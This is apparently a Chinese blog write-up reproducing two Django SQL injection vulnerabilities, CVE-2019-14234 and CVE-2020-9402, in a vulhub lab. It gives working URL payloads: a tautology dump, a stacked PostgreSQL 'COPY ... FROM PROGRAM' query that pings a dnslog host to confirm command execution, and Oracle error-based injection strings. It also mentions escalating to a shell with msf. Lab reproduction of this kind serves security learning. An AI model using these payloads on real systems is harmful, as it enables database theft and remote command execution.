vulhub复现之django(CVE-2019-14234、CVE-2020-9402)
背景小故事
公司的人一个个的都去云南参加等保测评考试,剩下我一个小扑街孤苦伶仃地在公司学习,惨的一批(我也想去云南地说)
没办法,自己搭了个vulhub玩玩,学习学习cve漏洞复现
django的漏洞概述
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。
该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是
WHERE (field->’[key_name]’) = ‘value’
因此可以进行SQL注入。
CVE-2019-14234漏洞复现
django环境搭建用的全都是vulhub
在浏览器访问http://ip:8000出现一下页面说明搭建成功
通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
访问http://ip:8000/admin
输入用户名admin ,密码a123123123
然后构造URL进行查询,payload:
http://ip:8000/admin/vuln/collection/?detail__a%27b=123
由下图可以清楚地看到我们输入的语句已经被执行了,可以继续注入,构造新的payload
构造的新的payload如下:
http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20
由于or 1=1永为真,因此应该返回所有结果
结合CVE-2019-9193 PostgreSQL高权限命令执行漏洞(https://blog.csdn.net/blood_pupil/article/details/88795627)构造url进行命令注入,这里主要就是利用PostgreSQL的高权限执行cmd_exec,
使用ceye平台检测是否执行了命令
http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping dnslog的地址'--%20
过去dnslog看的时候,能够看到有流量经过
复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell
漏洞修复
更新到最新版本
CVE-2020-9402漏洞复现
输入ip:8000可以看到
访问路径不对,提示有admin、vuln、vuln23个页面,存在漏洞的是vuln、vuln2
先访问vlun
发现啥也没有,要怀疑自己,没错就是这样,下面我们来构造
q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
,报了语法错误,存在SQL注入
我们访问第二个路径http://your-ip:8000/vuln2发现一串数据,不要管他,同样的问题也在这个页面,
构造pyload
q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20–
可见,括号已注入成功,SQL语句查询报错:
修复建议
更新到最新版本